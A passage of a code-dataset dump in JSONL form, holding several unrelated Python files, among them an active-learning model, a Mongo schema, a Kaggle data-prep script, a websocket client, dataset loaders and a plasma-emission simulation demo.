to training dataset. Shape = (labeling_batch_size,).\n '''\n\n # NOTE: I would really like to have a better way to handle this, but it's not too obvious what that method is\n def query(self, unlabeled_data: np.ndarray, labeling_batch_size: int) -> np.ndarray:\n\n if self.active_learning_function is None:\n raise Exception(\"If you want to use the default multimodal query function, you need to supply an active learning function upon model instantiation.\")\n\n # default implementation is to use the active learning function provided as model input\n # and call it on the mean of the output probabilities of the models.\n all_preds = []\n\n swapped_axes_unlabeled_data = np.swapaxes(unlabeled_data, 0, 1)\n for i in len(self.models):\n preds = self.models[i].predict_proba(swapped_axes_unlabeled_data[i])\n all_preds.append(preds)\n\n all_preds = np.array(all_preds)\n means_all_preds = np.mean(all_preds, axis=0)\n return self.active_learning_function(means_all_preds, labeling_batch_size)\n\n","repo_name":"AndrewJGaut/Multimodal-Deep-Active-Learning-Framework","sub_path":"models/multimodal/late_fusion_model.py","file_name":"late_fusion_model.py","file_ext":"py","file_size_in_byte":5820,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"71386309902","text":"from datetime import datetime\nfrom api.utils import Status\nfrom statemachine import State, StateMachine\n\nfrom api.state_machine import RidehailDriverTripStateMachine, RidehailPassengerTripStateMachine\n\n\nclass RunConfig:\n\n schema = {\n 'run_id': {\n 'type': 'string',\n 'required': True,\n },\n 'name': {\n 'type': 'string',\n 'required': True,\n },\n 'status': {\n 'type': 'string',\n 'required': False,\n 'nullable': True,\n },\n 'meta': {\n 'type': 'dict',\n 'required': True,\n },\n 'execution_time': {\n 'type': 'float',\n 'required': False,\n 'nullable': True,\n },\n 'step_metrics': {\n 'type': 'dict',\n 'required': False,\n 'nullable': True,\n },\n\n }\n\n model = {\n 'datasource': {\n 'source': 'run_config',\n },\n 'url': 'run_config',\n 'schema': schema,\n 'mongo_indexes': {\n 'run_id_index': (\n [\n ('run_id', 1),\n ],\n {'unique': True}\n ),\n 'name_index': [\n ('name', 1),\n ('_updated', 1),\n ],\n 'status_index': [\n ('status', 1),\n ('_updated', 1),\n ],\n 'recent_index': [\n ('_updated', 1),\n ],\n\n },\n 'resource_methods': ['GET', 'POST'], # , 'POST'\n 'item_methods': ['GET', 'PATCH'],\n }\n\n","repo_name":"IORA-NUS/openride_server","sub_path":"openroad_platform/api/models/run_config.py","file_name":"run_config.py","file_ext":"py","file_size_in_byte":1614,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"11051465347","text":"from __future__ import annotations\n\nfrom types import MappingProxyType\nfrom typing import TYPE_CHECKING, Any\n\nimport typer\nfrom art import text2art\n\nfrom conftron import metadata\n\nif TYPE_CHECKING:\n from conftron.sync.utils.metadata_manager import SyncMetadata\n\nWORDS_DEFAULT = MappingProxyType({False: \"UNAVAILABLE\", True: \"OK\"})\nWORDS_STYLES_DEFAULT = MappingProxyType(\n {True: {\"fg\": typer.colors.GREEN, \"bold\": True}, False: {\"fg\": typer.colors.YELLOW, \"bold\": True}}\n)\n\n\ndef get_binary_styled_word(\n value: bool,\n words: dict[bool, str] | MappingProxyType[bool, str] = WORDS_DEFAULT,\n words_styles: dict[bool, dict[str, Any]] | MappingProxyType[bool, dict[str, Any]] = WORDS_STYLES_DEFAULT,\n) -> str:\n return typer.style(words[value], **words_styles[value])\n\n\ndef get_metadata_message(metadata: SyncMetadata, line_before: str = \"\"):\n message: list[str] = []\n\n for key, value in metadata.to_dict().items():\n message.append(f\"{line_before}{key}: {value}\")\n\n return \"\\n\".join(message)\n\n\ndef get_art_title():\n title = text2art(metadata.name, font=\"alligator2\", chr_ignore=True)\n\n return f\"{title}\"\n","repo_name":"Egnod/conftron","sub_path":"conftron/cli/utils/echo_shortcuts.py","file_name":"echo_shortcuts.py","file_ext":"py","file_size_in_byte":1139,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"18503795612","text":"import torch\nimport numpy as np\nimport pandas as pd\nimport os, gc, sys, warnings, random, math, psutil, pickle\n\nfrom tqdm import tqdm as tqdm_notebook\nimport json\n\nwarnings.filterwarnings('ignore')\n\nsettings = json.load(open('SETTINGS.json'))\n\n# DATA LOAD\nprint('loading data ...')\ntrain_df = pd.read_csv(os.path.join(settings['RAW_DATA_DIR'], 'train.csv'))\ntest_df = pd.read_csv(os.path.join(settings['RAW_DATA_DIR'], 'test.csv'))\ntrain_label_df = pd.read_csv(os.path.join(settings['RAW_DATA_DIR'], 'train_labels.csv'))\nspecs_df = pd.read_csv(os.path.join(settings['RAW_DATA_DIR'], 'specs.csv'))\nprint('loading ... done')\n\ndef replace_4110_4100(df):\n rep_code4110_bool = (df['title']=='Bird Measurer (Assessment)')&(df['event_code']==4110)\n rep_code4100_bool = (df['title']=='Bird Measurer (Assessment)')&(df['event_code']==4100)\n df['event_code'][rep_code4110_bool] = 4100\n df['event_code'][rep_code4100_bool] = 5110 \nreplace_4110_4100(train_df)\nreplace_4110_4100(test_df)\n\n# Create additional columns from event_code\ndef extract_data_from_event_code(df, columns=['correct', 'round']):\n for col in columns:\n col_bool = df['event_data'].str.contains(col)\n df[col] = np.nan\n df[col][col_bool] = df['event_data'][col_bool].apply(lambda x: json.loads(x).get(col)).astype(float)\n\nprint('extract_data_from_event_code ...')\nextract_data_from_event_code(train_df)\nextract_data_from_event_code(test_df)\n \ntrain_df['num_incorrect'] = np.where(train_df['correct']==0, 1, np.nan)\ntrain_df['num_correct'] = np.where(train_df['correct']==1, 1, np.nan)\ntest_df['num_incorrect'] = np.where(test_df['correct']==0, 1, np.nan)\ntest_df['num_correct'] = np.where(test_df['correct']==1, 1, np.nan)\n\n# Convert game_time to seconds\ntrain_df['game_time'] = train_df['game_time'] // 1000\ntest_df['game_time'] = test_df['game_time'] // 1000\n\n# Aggregation by game_session\ndef get_agged_session(df):\n event_code = pd.crosstab(df['game_session'], df['event_code'])\n event_id = pd.crosstab(df['game_session'], df['event_id'])\n \n event_num_correct = pd.pivot_table(df[(~df['correct'].isna())], index='game_session', columns='event_code', values='num_correct', aggfunc='sum')\n event_num_incorrect = pd.pivot_table(df[(~df['correct'].isna())], index='game_session', columns='event_code', values='num_incorrect', aggfunc='sum')\n event_accuracy = event_num_correct/(event_num_correct+event_num_incorrect[event_num_correct.columns])\n event_accuracy = event_accuracy.add_prefix('accuray_') \n \n event_round = pd.pivot_table(df[~df['correct'].isna()], index='game_session', columns='event_code', values='round', aggfunc='max')\n event_round = event_round.add_prefix('round_') \n \n df['elapsed_time'] = df[['game_session', 'game_time']].groupby('game_session')['game_time'].diff()\n game_time = df.groupby('game_session', as_index=False)['elapsed_time'].agg(['mean', 'max']).reset_index()\n game_time.columns = ['game_session', 'mean_game_time', 'max_game_time'] \n df = df.merge(game_time, on='game_session', how='left') \n del df['elapsed_time']\n \n session_extra_df = pd.concat([event_code, event_id, event_accuracy, event_round], 1)\n session_extra_df.index.name = 'game_session'\n session_extra_df.reset_index(inplace=True)\n \n session_df = df.drop_duplicates('game_session', keep='last').reset_index(drop=True)\n session_df['row_id'] = session_df.index\n session_df = session_df.merge(session_extra_df, how='left', on='game_session')\n return session_df\n\nprint('get_agged_session ...')\nagged_train_df = get_agged_session(train_df)\nagged_test_df = get_agged_session(test_df)\n\nagged_train_df = agged_train_df.drop(['correct', 'round', 'num_correct', 'num_incorrect'], axis=1)\nagged_test_df = agged_test_df.drop(['correct', 'round', 'num_correct', 'num_incorrect'], axis=1)\n\nagged_test_df = agged_test_df.append(pd.DataFrame(columns=agged_train_df.columns))\n\n#Additional training data generation\ndef gen_game_label(df):\n num_corrects = []\n for inst_id, one_df in tqdm_notebook(df.groupby('installation_id'), leave=False):\n one_df = one_df[(one_df['type']=='Game')&(one_df['event_code'].isin([4020, 4025]) )]\n for game_session, title_df in one_df.groupby('game_session'): \n num_correct = title_df['event_data'].str.contains('\"correct\":true').sum()\n num_incorrect = title_df['event_data'].str.contains('\"correct\":false').sum() \n num_corrects.append([inst_id, game_session, num_correct, num_incorrect])\n label_df = pd.DataFrame(num_corrects, columns=['installation_id', 'game_session', 'num_correct', 'num_incorrect'])\n label_df['accuracy'] = label_df['num_correct'] / (label_df['num_correct']+label_df['num_incorrect'])\n label_df['accuracy_group'] = 3\n label_df['accuracy_group'][label_df['accuracy']==0.5] = 2\n label_df['accuracy_group'][label_df['accuracy']<0.5] = 1\n label_df['accuracy_group'][label_df['accuracy']==0] = 0\n return label_df\nprint('gen_game_label ...')\ntrain_game_label_df = gen_game_label(train_df)\ntest_game_label_df = gen_game_label(test_df)\n\n# Generate&Merge label\ndef gen_label(df):\n num_corrects = []\n for inst_id, one_df in tqdm_notebook(df.groupby('installation_id'), leave=False):\n one_df = one_df[(one_df['type']=='Assessment')&(one_df['event_code']==4100)]\n for game_session, title_df in one_df.groupby('game_session'): \n num_correct = title_df['event_data'].str.contains('\"correct\":true').sum()\n num_incorrect = title_df['event_data'].str.contains('\"correct\":false').sum() \n num_corrects.append([inst_id, game_session, num_correct, num_incorrect])\n label_df = pd.DataFrame(num_corrects, columns=['installation_id', 'game_session', 'num_correct', 'num_incorrect'])\n label_df['accuracy'] = label_df['num_correct'] / (label_df['num_correct']+label_df['num_incorrect'])\n label_df['accuracy_group'] = 3\n label_df['accuracy_group'][label_df['accuracy']==0.5] = 2 \n label_df['accuracy_group'][label_df['accuracy']<0.5] = 1\n label_df['accuracy_group'][label_df['accuracy']==0] = 0 \n return label_df\nprint('gen_label ...')\ntrain_label_df = gen_label(train_df)\ntest_label_df = gen_label(test_df)\n\nagged_train_df = agged_train_df.merge(train_label_df, on=['game_session', 'installation_id'], how='left')\nagged_train_df = agged_train_df.merge(train_game_label_df, on=['game_session', 'installation_id'], how='left', suffixes=('', '_game'))\nagged_test_df = agged_test_df.merge(test_label_df, on=['game_session', 'installation_id'], how='left')\nagged_test_df = agged_test_df.merge(test_game_label_df, on=['game_session', 'installation_id'], how='left', suffixes=('', '_game'))\nagged_test_df = agged_test_df[agged_train_df.columns]\nprint(agged_train_df.shape)\nprint(agged_test_df.shape)\n\nagged_train_df[(agged_train_df['accuracy_group'] >= 0)&(agged_train_df['type']=='Assessment')].shape\n\n# Generate sample_indices\ndef get_train_sample_indices(df):\n sample_indices = []\n inst_indiecs = [] \n df_groups = df.groupby('installation_id').groups\n for inst_idx, indices in enumerate(tqdm_notebook(df_groups.values())):\n one_df = df.iloc[indices].reset_index(drop=True)\n assessment_start_indices = one_df[(one_df['type']=='Assessment')&\n (one_df['accuracy_group']>=0)\n ].index\n for num, start_index in enumerate(assessment_start_indices):\n sample_indices.append( one_df.iloc[:start_index+1]['row_id'].tolist() )\n inst_indiecs.append(inst_idx) \n return sample_indices, inst_indiecs\n\ntrain_samples, train_groups = get_train_sample_indices(agged_train_df)\ntest_samples, test_groups = get_train_sample_indices(agged_test_df)\nprint(len(train_samples), len(test_samples))\n\ndef get_train_game_sample_indices(df):\n sample_indices = []\n inst_indiecs = [] \n df_groups = df.groupby('installation_id').groups\n for inst_idx, indices in enumerate(tqdm_notebook(df_groups.values())):\n one_df = df.iloc[indices].reset_index(drop=True)\n assessment_start_indices = one_df[(one_df['type']=='Game')&\n (one_df['accuracy_group_game']>=0)\n ].index\n for num, start_index in enumerate(assessment_start_indices):\n sample_indices.append( one_df.iloc[:start_index+1]['row_id'].tolist() )\n inst_indiecs.append(inst_idx) \n return sample_indices, inst_indiecs\n\nprint('get_train_game_sample_indices ...')\ntrain_game_samples, train_game_groups = get_train_game_sample_indices(agged_train_df)\ntest_game_samples, test_game_groups = get_train_game_sample_indices(agged_test_df)\nprint(len(train_game_samples), len(test_game_samples))\n\nagged_train_df = agged_train_df.fillna(0)\nagged_test_df = agged_test_df.fillna(0)\n\n# Convert categorical data to corresponding index\nall_df = pd.concat([agged_train_df, agged_test_df])\ncate_cols = ['title', 'type', 'world']\ncont_cols = ['event_count', 'game_time', 'max_game_time']\nextra_cont_cls = list(agged_train_df.columns[15:-4]) # except 2000\nmappers_dict = {}\n\ncate_offset = 1\nfor col in tqdm_notebook(cate_cols): \n cate2idx = {}\n for v in all_df[col].unique():\n if (v != v) | (v == None): continue \n cate2idx[v] = len(cate2idx)+cate_offset\n mappers_dict[col] = cate2idx \n agged_train_df[col] = agged_train_df[col].map(cate2idx).fillna(0).astype(int)\n agged_test_df[col] = agged_test_df[col].map(cate2idx).fillna(0).astype(int)\n cate_offset += len(cate2idx)\ndel all_df\n\nos.makedirs(settings['CLEAN_DATA_DIR'], exist_ok=True)\ntorch.save([agged_train_df, agged_test_df, mappers_dict, cate_offset, cate_cols, cont_cols, extra_cont_cls, \n train_samples, train_groups, test_samples, train_game_samples, test_game_samples],\n os.path.join(settings['CLEAN_DATA_DIR'], 'bowl.pt'))\n\ntorch.save([agged_train_df.columns, mappers_dict, cate_offset, cate_cols, cont_cols, extra_cont_cls],\n os.path.join(settings['CLEAN_DATA_DIR'], 'bowl_info.pt'))\n","repo_name":"lime-robot/dsb2019","sub_path":"code/prepare_data.py","file_name":"prepare_data.py","file_ext":"py","file_size_in_byte":10205,"program_lang":"python","lang":"en","doc_type":"code","stars":66,"dataset":"github-code","pt":"47"} +{"seq_id":"38500951645","text":"import sys\nsys.setrecursionlimit(2000)\n\ndef merge_sort(arr):\n if len(arr) < 2:\n return arr\n half = len(arr) // 2\n left = merge_sort(arr[:half])\n right = merge_sort(arr[half:])\n out = []\n li = ri = 0 # index of next element from left, right halves\n while True:\n if li >= len(left): # left half is exhausted\n out.extend(right[ri:])\n break\n if ri >= len(right): # right half is exhausted\n out.extend(left[li:])\n break\n if left[li] < right[ri]:\n out.append(left[li])\n li += 1\n else:\n out.append(right[ri])\n ri += 1\n return out","repo_name":"mostafax/AlgoTask1","sub_path":"Merge_Sort.py","file_name":"Merge_Sort.py","file_ext":"py","file_size_in_byte":671,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"13804411346","text":"import sys\nimport os\n\nBASE_DIR = os.path.dirname(__file__)\nsys.path.append(BASE_DIR)\n\nimport numpy as np\nimport pc_util\n\nscene_name = 'scannet_train_detection_data/scene0002_00'\noutput_folder = 'data_viz_dump'\n\ndata = np.load(scene_name+'_vert.npy')\nscene_points = data[:,0:3]\ncolors = data[:,3:]\ninstance_labels = np.load(scene_name+'_ins_label.npy')\nsemantic_labels = np.load(scene_name+'_sem_label.npy')\ninstance_bboxes = np.load(scene_name+'_bbox.npy')\n\nprint(np.unique(instance_labels))\nprint(np.unique(semantic_labels))\ninput()\nif not os.path.exists(output_folder):\n os.mkdir(output_folder)\n\n# Write scene as OBJ file for visualization\npc_util.write_ply_rgb(scene_points, colors, os.path.join(output_folder, 'scene.obj'))\npc_util.write_ply_color(scene_points, instance_labels, os.path.join(output_folder, 'scene_instance.obj'))\npc_util.write_ply_color(scene_points, semantic_labels, os.path.join(output_folder, 'scene_semantic.obj'))\n\nfrom model_util_scannet import ScannetDatasetConfig\nDC = ScannetDatasetConfig()\nprint(instance_bboxes.shape)\n","repo_name":"facebookresearch/votenet","sub_path":"scannet/data_viz.py","file_name":"data_viz.py","file_ext":"py","file_size_in_byte":1053,"program_lang":"python","lang":"en","doc_type":"code","stars":1636,"dataset":"github-code","pt":"47"} +{"seq_id":"30900281323","text":"import asyncio\n\nimport websockets\nimport json\nimport time\nclass Wssocket:\n def __init__(self,endpoint):\n self.endpoint = endpoint\n self.lastrecv=0\n self.pongsingnal=None\n self.close = False\n self.callback=None\n self.sock=None\n self.sendqueue= asyncio.Queue()\n async def init(self,loop,onmessage,onconnect):\n self.loop = loop\n self.callback=onmessage\n while 1:\n if 1:\n #try:\n self.close=False\n self.sock=await websockets.connect(self.endpoint,ping_interval=None)\n await onconnect(self.sendqueue)\n print('crate sock ok?')\n t1=loop.create_task(self.ping())\n t2=loop.create_task(self.recv())\n s=loop.create_task(self.send())\n results=await asyncio.gather(t1,t2,s)\n print('results',results)\n # except Exception as e:\n # t1.cancel()\n # t2.cancel()\n # s.cancel()\n # print(e, 20)\n # self.close=True\n\n await asyncio.sleep(0.1)\n async def ping(self):\n #print('self.sock',self.sock)\n print('self.close:',self.close)\n while not self.close:\n\n await asyncio.sleep(5)\n if time.time()-self.lastrecv>15:\n #print('send ping')\n await self.sock.send('ping')\n self.pongsingnal=self.loop.create_future()\n await asyncio.wait_for(self.pongsingnal,timeout=15)\n\n async def send(self):\n while not self.close:\n msg=await self.sendqueue.get()\n await self.sock.send(json.dumps(msg))\n\n async def recv(self):\n print('what a fuck?')\n while not self.close:\n\n self.lastrecv = time.time()\n data=await self.sock.recv()\n\n if data=='pong':\n self.pongsingnal.set_result(None)\n continue\n await self.callback(json.loads(data),self.sendqueue)\n\n\n\n\n\n","repo_name":"fengchuan1021/okrobot","sub_path":"wssocket.py","file_name":"wssocket.py","file_ext":"py","file_size_in_byte":2068,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"15902116385","text":"import numpy as np\nfrom argparse import ArgumentParser, ArgumentDefaultsHelpFormatter\n\ndef run(path,name,version):\n if version=='v1':\n softmax=np.load(path+name+'_softmax.npy')\n else:\n softmax=np.load(path+name+'_softmax_v2.npy')\n \n label=np.load(path+'labels.npy')\n assert softmax.shape[0] == 50000,\"Error ImageNet validation set doesn't match\"\n correct=0.0\n for i in range(softmax.shape[0]):\n prediction=np.argmax(softmax[i])\n if prediction==label[i]:\n correct=correct+1.0\n acc=(correct/50000.0)*100\n print(\"Top-1 Accuracy: %.1f\"%(acc))\n return acc\n \n \n\nif __name__ == \"__main__\":\n parser = ArgumentParser(description=\"Evaluation script for softmax extracted from FixRes models\",formatter_class=ArgumentDefaultsHelpFormatter)\n parser.add_argument('--architecture', default='IGAM_Resnext101_32x48d', type=str,choices=['ResNet50' , 'ResNet50CutMix', 'PNASNet' , 'IGAM_Resnext101_32x48d'], help='Neural network architecture')\n parser.add_argument('--save-path', default='/where/are/save/softmax/', type=str, help='Path where softmax were saved')\n parser.add_argument('--version', default='v1', type=str,choices=['v1' , 'v2'], help='version')\n args = parser.parse_args()\n run(args.save_path,args.architecture,args.version)\n","repo_name":"facebookresearch/FixRes","sub_path":"main_evaluate_softmax.py","file_name":"main_evaluate_softmax.py","file_ext":"py","file_size_in_byte":1318,"program_lang":"python","lang":"en","doc_type":"code","stars":1009,"dataset":"github-code","pt":"47"} +{"seq_id":"9395743383","text":"#!/usr/bin/env python\nimport os, sys\n\nWORK_DIR = os.path.dirname(os.path.abspath(__file__))\ntestdir = os.path.normpath(WORK_DIR + \"/../../../\")\nsys.path.append(testdir)\n\nimport common\nimport rhtest\n# user defined packages\nfrom quick_start_test import QuickStartTest\n\nclass QuickStartDancer(QuickStartTest):\n \n def __init__(self, config):\n rhtest.Test.__init__(self,config)\n self.config.application_type = common.app_types[\"perl\"]\n self.config.application_embedded_cartridges = [ ]\n self.config.summary = \"[Runtime][rhc-cartridge]quick-start example: dancer\"\n self.config.git_upstream_url = \"git://github.com/openshift/dancer-example.git\"\n self.config.page = \"\" # means '/'\n self.config.page_pattern = \"Perl is dancing\"\n \n def pre_configuration_steps(self):\n self.log_info(\"Pre-onfiguring\")\n steps = [\n \"cd %s\" % self.config.application_name,\n \"rm -Rfv perl/\",\n \"git commit -a -m 'removing perl directory'\"\n ]\n ret_code = common.command_get_status(\" && \".join(steps))\n\nclass OpenShiftTestSuite(rhtest.TestSuite):\n pass\n\ndef get_suite(conf):\n suite = OpenShiftTestSuite(conf)\n suite.add_test(QuickStartDancer)\n return suite\n\ndef run(conf):\n suite = get_suite(conf)\n suite()\n","repo_name":"xiama/automations","sub_path":"testmodules/RT/quick_start/quick_start_dancer.py","file_name":"quick_start_dancer.py","file_ext":"py","file_size_in_byte":1312,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"22614000027","text":"import os\nimport torch\nimport pandas as pd\nfrom torch.utils.data import Dataset\nfrom loader.tokenizer import PhoBertTokenizer, BertViTokenizer\n\n\nclass VLSP2016(Dataset):\n def __init__(self,\n file='SA-2016.train',\n path=os.path.join('data', 'VLSP2016'),\n max_length=256,\n tokenizer_type='phobert'):\n super(VLSP2016, self).__init__()\n self.df = pd.read_csv(os.path.join(path, file),\n names=['sentence', 'label'],\n sep='\\t',\n encoding='utf-8-sig')\n\n self.max_length = max_length\n\n self.tokenizer_type = tokenizer_type\n if tokenizer_type == 'phobert':\n self.tokenizer = PhoBertTokenizer(max_length=self.max_length)\n else:\n self.tokenizer = BertViTokenizer(max_length=self.max_length, shortcut_pretrained='multilingual-bert-case')\n\n self.neu = self.df.loc[self.df['label'] == 'NEU']\n self.neg = self.df.loc[self.df['label'] == 'NEG']\n self.pos = self.df.loc[self.df['label'] == 'POS']\n\n print('Loaded VLSP-2016')\n print(f'There are {len(self.df)} samples in {file} dataset.')\n\n def __getitem__(self, item):\n neu = self.neu.iloc[item, 0].encode('utf-8').decode('utf-8-sig').strip()\n neg = self.neg.iloc[item, 0].encode('utf-8').decode('utf-8-sig').strip()\n pos = self.pos.iloc[item, 0].encode('utf-8').decode('utf-8-sig').strip()\n\n neu, neg, pos = self.tokenizer(neu), self.tokenizer(neg), self.tokenizer(pos)\n return torch.cat((neu.unsqueeze(0), neg.unsqueeze(0), pos.unsqueeze(0)))\n\n def __len__(self):\n return len(self.df)\n","repo_name":"vndee/contrastive-sts","sub_path":"loader/vlsp2016.py","file_name":"vlsp2016.py","file_ext":"py","file_size_in_byte":1721,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"13360351528","text":"\n# External imports\nimport os\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom cherab_contrib.simulation_data.solps.solps_plasma import SOLPSSimulation\nfrom cherab_mastu.mast_cad_files import CENTRE_COLUMN, LOWER_DIVERTOR_ARMOUR\nfrom core.model.impact_excitation.pec_line import ExcitationLine, RecombinationLine\nfrom raysect.core.ray import Ray as CoreRay\nfrom raysect.optical.material.absorber import AbsorbingSurface\n\n# Cherab and raysect imports\nfrom cherab.core.atomic import Line\nfrom cherab.core.atomic import deuterium\n# Core and external imports\nfrom raysect.core import Vector3D, Point3D\nfrom raysect.optical import World, translate, rotate_basis\nfrom raysect.optical.observer import FibreOptic, SpectralPipeline0D\nfrom raysect.primitive.mesh import Mesh\n\nplt.ion()\nworld = World()\n\nMESH_PARTS = CENTRE_COLUMN + LOWER_DIVERTOR_ARMOUR\n\n\nfor cad_file in MESH_PARTS:\n directory, filename = os.path.split(cad_file)\n name, ext = filename.split('.')\n print(\"importing {} ...\".format(filename))\n Mesh.from_file(cad_file, parent=world, material=AbsorbingSurface(), name=name)\n\n\n# Load plasma from SOLPS model\nmds_server = 'solps-mdsplus.aug.ipp.mpg.de:8001'\nref_number = 69636\nsim = SOLPSSimulation.load_from_mdsplus(mds_server, ref_number)\nplasma = sim.plasma\nmesh = sim.mesh\nvessel = mesh.vessel\n\n\n# Setup deuterium lines\nd_alpha = Line(deuterium, 0, (3, 2), wavelength=656.19)\nd_beta = Line(deuterium, 0, (4, 2), wavelength=486.1)\nd_gamma = Line(deuterium, 0, (5, 2), wavelength=433.99)\nd_delta = Line(deuterium, 0, (6, 2), wavelength=410.2)\nd_epsilon = Line(deuterium, 0, (7, 2), wavelength=397)\n\nd_ion_species = plasma.get_species(deuterium, 1)\nd_atom_species = plasma.get_species(deuterium, 0)\n\nd_alpha_excit = ExcitationLine(d_alpha, plasma.electron_distribution, d_atom_species, inside_outside=plasma.inside_outside)\nd_alpha_excit.add_emitter_to_world(world, plasma)\nd_alpha_recom = RecombinationLine(d_alpha, plasma.electron_distribution, d_ion_species, inside_outside=plasma.inside_outside)\nd_alpha_recom.add_emitter_to_world(world, plasma)\n\nd_gamma_excit = ExcitationLine(d_gamma, plasma.electron_distribution, d_atom_species, inside_outside=plasma.inside_outside)\nd_gamma_excit.add_emitter_to_world(world, plasma)\nd_gamma_recom = RecombinationLine(d_gamma, plasma.electron_distribution, d_ion_species, inside_outside=plasma.inside_outside)\nd_gamma_recom.add_emitter_to_world(world, plasma)\n\nd_beta_excit = ExcitationLine(d_beta, plasma.electron_distribution, d_atom_species, inside_outside=plasma.inside_outside)\nd_beta_excit.add_emitter_to_world(world, plasma)\nd_beta_recom = RecombinationLine(d_beta, plasma.electron_distribution, d_ion_species, inside_outside=plasma.inside_outside)\nd_beta_recom.add_emitter_to_world(world, plasma)\n\nd_delta_excit = ExcitationLine(d_delta, plasma.electron_distribution, d_atom_species, inside_outside=plasma.inside_outside)\nd_delta_excit.add_emitter_to_world(world, plasma)\nd_delta_recom = RecombinationLine(d_delta, plasma.electron_distribution, d_ion_species, inside_outside=plasma.inside_outside)\nd_delta_recom.add_emitter_to_world(world, plasma)\n\nd_epsilon_excit = ExcitationLine(d_epsilon, plasma.electron_distribution, d_atom_species, inside_outside=plasma.inside_outside)\nd_epsilon_excit.add_emitter_to_world(world, plasma)\nd_epsilon_recom = RecombinationLine(d_epsilon, plasma.electron_distribution, d_ion_species, inside_outside=plasma.inside_outside)\nd_epsilon_recom.add_emitter_to_world(world, plasma)\n\n\nstart_point = Point3D(1.669, 0, -1.6502)\nforward_vector = Vector3D(1-1.669, 0, -2+1.6502).normalise()\nup_vector = Vector3D(0, 0, 1.0)\n\nspectra = SpectralPipeline0D()\nfibre = FibreOptic([spectra], acceptance_angle=1, radius=0.001, spectral_bins=8000, spectral_rays=1,\n pixel_samples=5, transform=translate(*start_point)*rotate_basis(forward_vector, up_vector), parent=world)\n\nfibre.min_wavelength = 350.0\nfibre.max_wavelength = 700.0\n\nfibre.observe()\n\n\n# Find the next intersection point of the ray with the world\nintersection = world.hit(CoreRay(start_point, forward_vector))\nif intersection is not None:\n hit_point = intersection.hit_point.transform(intersection.primitive_to_world)\nelse:\n raise RuntimeError(\"No intersection with the vessel was found.\")\n\n# Traverse the ray with equation for a parametric line,\n# i.e. t=0->1 traverses the ray path.\nparametric_vector = start_point.vector_to(hit_point)\nt_samples = np.arange(0, 1, 0.01)\n\n# Setup some containers for useful parameters along the ray trajectory\nray_r_points = []\nray_z_points = []\ndistance = []\nte = []\nne = []\ndalpha = np.zeros(len(t_samples))\ndgamma = np.zeros(len(t_samples))\ndbeta = np.zeros(len(t_samples))\nddelta = np.zeros(len(t_samples))\ndepsilon = np.zeros(len(t_samples))\n\n# get the electron distribution\nelectrons = plasma.electron_distribution\n\n# At each ray position sample the parameters of interest.\nfor i, t in enumerate(t_samples):\n # Get new sample point location and log distance\n x = start_point.x + parametric_vector.x * t\n y = start_point.y + parametric_vector.y * t\n z = start_point.z + parametric_vector.z * t\n sample_point = Point3D(x, y, z)\n ray_r_points.append(np.sqrt(x**2 + y**2))\n ray_z_points.append(z)\n distance.append(start_point.distance_to(sample_point))\n\n # Sample plasma conditions\n te.append(electrons.effective_temperature(x, y, z))\n ne.append(electrons.density(x, y, z))\n\n # Log magnitude of emission\n dalpha[i] = d_alpha_excit.emission_at_point(x, y, z) + d_alpha_recom.emission_at_point(x, y, z)\n dgamma[i] = d_gamma_excit.emission_at_point(x, y, z) + d_gamma_recom.emission_at_point(x, y, z)\n dbeta[i] = d_beta_excit.emission_at_point(x, y, z) + d_beta_recom.emission_at_point(x, y, z)\n ddelta[i] = d_delta_excit.emission_at_point(x, y, z) + d_delta_recom.emission_at_point(x, y, z)\n depsilon[i] = d_epsilon_excit.emission_at_point(x, y, z) + d_epsilon_recom.emission_at_point(x, y, z)\n\n\n# Normalise the emission arrays\ndalpha /= dalpha.sum()\ndgamma /= dgamma.sum()\ndbeta /= dbeta.sum()\nddelta /= ddelta.sum()\ndepsilon /= depsilon.sum()\n\n# Plot the trajectory parameters\n\nsim.plot_pec_emission_lines([d_alpha_excit, d_alpha_recom], title='D_alpha')\nplt.plot(ray_r_points, ray_z_points, 'k')\nplt.plot(ray_r_points[0], ray_z_points[0], 'b.')\nplt.plot(ray_r_points[-1], ray_z_points[-1], 'r.')\n\nsim.plot_pec_emission_lines([d_gamma_excit, d_gamma_recom], title='D_gamma')\nplt.plot(ray_r_points, ray_z_points, 'k')\nplt.plot(ray_r_points[0], ray_z_points[0], 'b.')\nplt.plot(ray_r_points[-1], ray_z_points[-1], 'r.')\n\nsim.plot_pec_emission_lines([d_beta_excit, d_beta_recom], title='D_beta')\nplt.plot(ray_r_points, ray_z_points, 'k')\nplt.plot(ray_r_points[0], ray_z_points[0], 'b.')\nplt.plot(ray_r_points[-1], ray_z_points[-1], 'r.')\n\nplt.figure()\nplt.plot(distance, te)\nplt.xlabel(\"Ray distance (m)\")\nplt.ylabel(\"Electron temperature (eV)\")\nplt.title(\"Electron temperature (eV) along ray path\")\n\nplt.figure()\nplt.plot(distance, ne)\nplt.xlabel(\"Ray distance (m)\")\nplt.ylabel(\"Electron density (m^-3)\")\nplt.title(\"Electron density (m^-3) along ray path\")\n\nplt.figure()\nplt.plot(distance, dalpha, label='Dalpha')\nplt.plot(distance, dgamma, label='Dgamma')\nplt.plot(distance, dbeta, label='Dbeta')\nplt.plot(distance, ddelta, label='Ddelta')\nplt.plot(distance, depsilon, label='Depsilon')\nplt.xlabel(\"Ray distance (m)\")\nplt.ylabel(\"Normalised emission\")\nplt.title(\"Normalised emission along ray path\")\nplt.legend()\n\nplt.show()\n\n","repo_name":"cherab/core","sub_path":"docs/source/demonstrations/line_emission/balmer_series.py","file_name":"balmer_series.py","file_ext":"py","file_size_in_byte":7486,"program_lang":"python","lang":"en","doc_type":"code","stars":38,"dataset":"github-code","pt":"47"} +{"seq_id":"42787455967","text":"from typing import List\nfrom itertools import permutations\n\nimport aoc\n\nfrom aoc19_simon.common.processor import Processor\n\n\nday = 7\nlines = 